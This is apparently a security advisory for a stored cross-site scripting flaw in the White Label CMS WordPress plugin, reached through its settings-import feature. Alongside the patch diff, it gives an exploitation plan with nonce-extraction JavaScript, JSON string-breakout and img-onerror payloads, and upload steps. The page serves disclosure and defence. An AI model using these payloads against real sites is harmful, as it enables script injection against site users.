CVE-2026-11898

White Label CMS <= 2.7.12 - Authenticated (Administrator+) Stored Cross-Site Scripting via Import Settings

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
4.4
CVSS Score
4.4
CVSS Score
medium
Severity
2.7.13
Patched in
1d
Time to patch

Description

The White Label CMS plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 2.7.12 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.7.12
PublishedJuly 10, 2026
Last updatedJuly 11, 2026
Affected pluginwhite-label-cms

What Changed in the Fix

Changes introduced in v2.7.13

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-11898 ## 1. Vulnerability Summary The **White Label CMS** plugin for WordPress (versions <= 2.7.12) is vulnerable to **Stored Cross-Site Scripting (XSS)** via its "Import Settings" functionality. The vulnerability exists because the `WLCMS_Settings::import()`…

Show full research plan

Exploitation Research Plan - CVE-2026-11898

1. Vulnerability Summary

The White Label CMS plugin for WordPress (versions <= 2.7.12) is vulnerable to Stored Cross-Site Scripting (XSS) via its "Import Settings" functionality. The vulnerability exists because the WLCMS_Settings::import() method directly decodes JSON input from an uploaded file and saves it to the WordPress options table using update_option() without any sanitization or validation of the setting values. While the standard settings save mechanism (WLCMS_Settings::store()) applies wlcms_kses() to inputs, the import mechanism bypasses this protection. This allows an Administrator (or Super Admin in Multisite) to inject arbitrary scripts that execute when the settings are rendered, particularly affecting environments where unfiltered_html is disabled.

2. Attack Vector Analysis

  • Endpoint: admin-init hook via the plugin's settings page.
  • Action: Form submission to options-general.php?page=wlcms-plugin.php.
  • Vulnerable Parameter: import_file (file upload containing JSON).
  • Required Authentication: Administrator or Super Admin.
  • Preconditions:
    • Plugin version <= 2.7.12.
    • Multisite installation OR a single-site installation where the unfiltered_html capability has been disabled for administrators (e.g., via a security plugin or wp-config.php).
  • Target Setting: The dashboard_title setting is an ideal target because it is rendered inside a JavaScript string via wlcms_add_js(), allowing for JS string breakout.

3. Code Flow

  1. Entry Point: includes/classes/Settings.php: WLCMS_Settings::init() is hooked to admin_init.
  2. Handler: init() calls $this->import().
  3. Authentication/Nonce Check:
    • import() checks is_wlcms_super_admin().
    • It verifies the nonce: wp_verify_nonce($_POST['wlcms-settings_nonce'], 'wlcms-settings-action').
  4. File Processing:
    • It retrieves the uploaded file: $temp_file_raw = $_FILES['import_file']['tmp_name'].
    • It reads and decodes the JSON: $settings = (array)json_decode(file_get_contents($temp_file), true);.
  5. Vulnerable Sink:
    • It calls $this->setAll($settings) and then $this->save().
    • save() executes update_option("wlcms_options", $this->settings). No sanitization occurs here.
  6. Rendering (XSS):
    • includes/classes/Admin_Dashboard.php: dashboard_title() retrieves the setting: $title = $this->get_settings('dashboard_title').
    • It constructs a string: $dashboard_title .= '<span id=\"wlcms_dashboard_title\">' . esc_attr($title) . '</span>';.
    • It injects this into an inline script: wlcms_add_js('jQuery(".index-php #wpbody-content .wrap h1:eq(0)").html("' . $dashboard_title . '")');.

4. Nonce Acquisition Strategy

The nonce wlcms-settings_nonce is generated in the parts/import-settings view and rendered on the White Label CMS settings page.

  1. Navigate: Use browser_navigate to wp-admin/options-general.php?page=wlcms-plugin.php.
  2. Extract: The nonce is stored in a hidden input field within the import form.
  3. JavaScript Extraction:
    // Extract the nonce value from the form
    document.querySelector('input[name="wlcms-settings_nonce"]').value
    

5. Exploitation Strategy

The goal is to provide a JSON file that breaks out of the JavaScript string context in dashboard_title().

Payload Preparation

Create a file named exploit.json:

{
  "dashboard_title": "\");alert(document.domain);(\""
}

Note: When esc_attr processes this, it remains ");alert(document.domain);(". When placed into the wlcms_add_js call, it results in: jQuery(...).html("<span ...>");alert(document.domain);("</span>").

Step-by-Step Execution

  1. Login: Authenticate as an Administrator.
  2. Get Nonce: Navigate to wp-admin/options-general.php?page=wlcms-plugin.php and extract the value of wlcms-settings_nonce.
  3. Upload Exploit:
    • Use http_request to send a POST request to wp-admin/options-general.php?page=wlcms-plugin.php.
    • Content-Type: multipart/form-data.
    • Parameters:
      • wlcms-settings_nonce: [EXTRACTED_NONCE]
      • import_file: [exploit.json content]
  4. Trigger: Navigate to the WordPress Dashboard (wp-admin/index.php).

6. Test Data Setup

  1. Install Plugin: wp plugin install white-label-cms --version=2.7.12 --activate.
  2. Disable unfiltered_html (Simulate restricted Admin):
    wp eval "role = get_role('administrator'); role->remove_cap('unfiltered_html');"
    
  3. User: Ensure an administrator user exists.

7. Expected Results

  • The import() function will process the JSON and update the wlcms_options option.
  • Upon visiting the Dashboard, the dashboard_title() function will generate a script block.
  • The browser will execute the injected JavaScript, resulting in an alert box displaying the document domain.

8. Verification Steps

  1. Check Database:
    wp option get wlcms_options --format=json | grep "alert"
    
  2. Inspect Page Source: Navigate to the Dashboard and search for the injected string in the HTML source. It will appear within a <script> block managed by the plugin.

9. Alternative Approaches

If the dashboard_title injection is mitigated by the way wlcms_add_js escapes quotes, target the Custom RSS Feed or Custom Welcome Panel settings.

RSS Feed Target:
Inject the payload into the rss_title setting. If the plugin renders the RSS title on the dashboard using echo without esc_html(), a standard tag-based payload will work:

{
  "rss_title": "<img src=x onerror=alert(1)>"
}

Welcome Panel Target:
Settings like welcome_panel often store HTML templates. Injecting a script tag directly into the panel content key might be successful if the output function assumes the content was already sanitized during the (bypassed) store() phase.

Research Findings
Static analysis — not yet PoC-verified

Summary

The White Label CMS plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via its 'Import Settings' feature in versions up to and including 2.7.12. This vulnerability allows authenticated administrators to bypass standard input sanitization by uploading a malicious JSON configuration file, leading to the execution of arbitrary scripts when the affected settings are rendered on the dashboard.

Vulnerable Code

// includes/classes/Settings.php (approx. lines 215-226)
        $settings = (array)json_decode(
            file_get_contents($temp_file),
            true
        );

        unlink($temp_file);

        if (!$settings) {

            WLCMS_Queue('Nothing to import, please check your json file format.', 'error');
            wp_redirect(wlcms()->admin_url());
            exit;
        }

        $this->setAll($settings);
        $this->save();

---

// includes/classes/Admin_Dashboard.php (approx. lines 426-431)
        $introduction = $this->get_settings('rss_introduction');
        $url = $this->get_settings('rss_feed_address');

        if ($introduction) {
            echo '<p>' . $introduction . '</p>';
        }

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/white-label-cms/2.7.12/includes/classes/Admin_Dashboard.php /home/deploy/wp-safety.org/data/plugin-versions/white-label-cms/2.7.13/includes/classes/Admin_Dashboard.php
--- /home/deploy/wp-safety.org/data/plugin-versions/white-label-cms/2.7.12/includes/classes/Admin_Dashboard.php	2025-04-30 01:02:50.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/white-label-cms/2.7.13/includes/classes/Admin_Dashboard.php	2026-06-24 01:07:16.000000000 +0000
@@ -427,13 +427,13 @@
         $url = $this->get_settings('rss_feed_address');
 
         if ($introduction) {
-            echo '<p>' . $introduction . '</p>';
+            echo '<p>' . wp_kses_post($introduction) . '</p>';
         }
 
         $rss = fetch_feed($url);
 
         if ($error = is_wp_error($rss)) {
-            echo '<div class="warning-text">' . $rss->get_error_message() . '</div>';
+            echo '<div class="warning-text">' . esc_html($rss->get_error_message()) . '</div>';
 
             wlcms_set_css(
                 '.index-php .warning-text',
@@ -462,7 +462,7 @@
             );
 
             if ($show_post_content) :
-                $rss_list .= preg_replace('/<img[^>]+./', '', $item->get_content());
+                $rss_list .= wp_kses_post($item->get_content());
 
             endif;
             $rss_list .= '</li>';
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/white-label-cms/2.7.12/includes/classes/Settings.php /home/deploy/wp-safety.org/data/plugin-versions/white-label-cms/2.7.13/includes/classes/Settings.php
--- /home/deploy/wp-safety.org/data/plugin-versions/white-label-cms/2.7.12/includes/classes/Settings.php	2025-04-30 01:02:50.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/white-label-cms/2.7.13/includes/classes/Settings.php	2026-06-24 01:07:16.000000000 +0000
@@ -225,6 +225,15 @@
             exit;
         }
 
+        // Validate the JSON schema: only accept keys the plugin actually
+        // recognises so arbitrary options cannot be injected via import.
+        $allowed_keys = array_merge($this->keys(), array('version'));
+        $settings = array_intersect_key($settings, array_flip($allowed_keys));
+
+        // Sanitize imported values the same way the regular save path does
+        // (see store()), so untrusted JSON cannot smuggle in unescaped markup.
+        $settings = wlcms_kses($settings);
+
         $this->setAll($settings);
         $this->save();

Exploit Outline

To exploit this vulnerability, an authenticated Administrator or Super Admin must first obtain a valid security nonce (`wlcms-settings_nonce`) from the plugin's settings page at `wp-admin/options-general.php?page=wlcms-plugin.php`. The attacker then prepares a JSON file containing a payload where one or more setting keys (e.g., 'rss_introduction' or 'dashboard_title') are assigned malicious JavaScript or HTML. By submitting a POST request to the same settings page with the `multipart/form-data` content type, providing the extracted nonce, and uploading the JSON file via the `import_file` parameter, the malicious settings are saved to the database. The XSS payload executes when a user navigates to the WordPress Dashboard, where the plugin renders the affected settings.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.